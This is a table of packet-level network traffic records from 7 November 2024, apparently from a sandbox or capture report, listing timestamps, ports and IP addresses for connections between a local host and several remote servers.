Nov 7, 2024 17:25:47.889677048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889698029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889708042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889715910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889745951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889754057 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889904022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889918089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889930010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889947891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889955997 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.889966965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889976978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.889987946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890006065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890170097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890209913 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890233994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890245914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890259027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890268087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890297890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890305042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890314102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890326023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890342951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890348911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890400887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890850067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890861988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890881062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890892029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890917063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.890934944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890945911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890959024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890969992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.890990019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891014099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891048908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891061068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891072989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891091108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891099930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891113043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891129971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891139030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891161919 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891324043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891335964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891347885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891374111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891382933 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891397953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891410112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891429901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891444921 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891450882 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891459942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891469002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891479015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891489029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891495943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891506910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891515017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891522884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891531944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891541004 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891551018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891558886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891567945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891576052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891590118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891596079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891604900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891623974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891629934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891648054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891659021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891669989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891686916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891700983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891705990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891716957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891725063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891736031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891753912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891767979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891774893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891784906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891794920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891807079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891814947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891823053 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891833067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891840935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891850948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891859055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891870022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891875029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891890049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891896963 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891907930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891916990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891927958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891947985 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.891972065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891983032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.891990900 CET	49993	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.891994953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892004013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892019033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892024994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892036915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892060995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892076015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892086029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892088890 CET	443	49993	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.892098904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892103910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892115116 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892139912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892162085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892211914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892256975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892267942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892298937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892318964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892332077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892364979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892486095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892525911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892549992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892590046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892640114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892730951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892743111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892775059 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892788887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892807961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892824888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.892920971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.892968893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893001080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893014908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893039942 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893083096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893150091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893162012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893172026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893187046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893193960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893207073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893214941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893223047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893234968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893245935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893253088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893265009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893274069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893290043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893309116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893320084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893328905 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893346071 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893358946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893409967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893455029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893516064 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893527031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893548012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893562078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893680096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893697023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893708944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893726110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893753052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893767118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893778086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893789053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893801928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.893814087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.893836975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.933335066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.933358908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.933379889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.933391094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.933402061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.933412075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.933432102 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.935285091 CET	49994	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.935296059 CET	443	49994	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.935305119 CET	49993	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.935326099 CET	443	49993	204.79.197.219	192.168.2.6
Nov 7, 2024 17:25:47.957484961 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.957580090 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.984606028 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.984637022 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.984688044 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.984698057 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.984766006 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.984822035 CET	49994	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.984915972 CET	49993	443	192.168.2.6	204.79.197.219
Nov 7, 2024 17:25:47.987669945 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.987919092 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.987931013 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.988295078 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.988636017 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.988699913 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.988995075 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:48.004631042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.004656076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.004667044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.004690886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.004714012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.004852057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.004888058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.004913092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.004925013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.004960060 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.004971027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.004988909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005001068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005012989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005023956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005034924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005042076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005068064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005084038 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005450964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005492926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005558968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005570889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005589962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005601883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005609989 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005635977 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005690098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005729914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005822897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005834103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005845070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005856991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005865097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005875111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005887985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005897045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005907059 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005913973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.005945921 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.005945921 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006021976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006122112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006131887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006140947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006154060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006162882 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006187916 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006217003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006228924 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006239891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006248951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006257057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006269932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006277084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006289005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006299019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006321907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006346941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006400108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006412983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006424904 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006431103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006443977 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006459951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006485939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006524086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006531954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006546021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006572008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006580114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006706953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006762981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006812096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006824970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006853104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006865025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006882906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006894112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006905079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006918907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006937981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006947994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006954908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.006963015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.006974936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007000923 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007024050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007041931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007054090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007070065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007076025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007086992 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007093906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007106066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007114887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007143021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007152081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007165909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007177114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007188082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007195950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007208109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007216930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007225990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007242918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007256031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007291079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007302046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007318020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007324934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007335901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007350922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007355928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007364988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007375002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007401943 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007433891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007445097 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007461071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007474899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007483959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007503033 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007524014 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007535934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007546902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007569075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007582903 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007600069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007610083 CET	80	49911	95.215.204.182	192.168.2.6
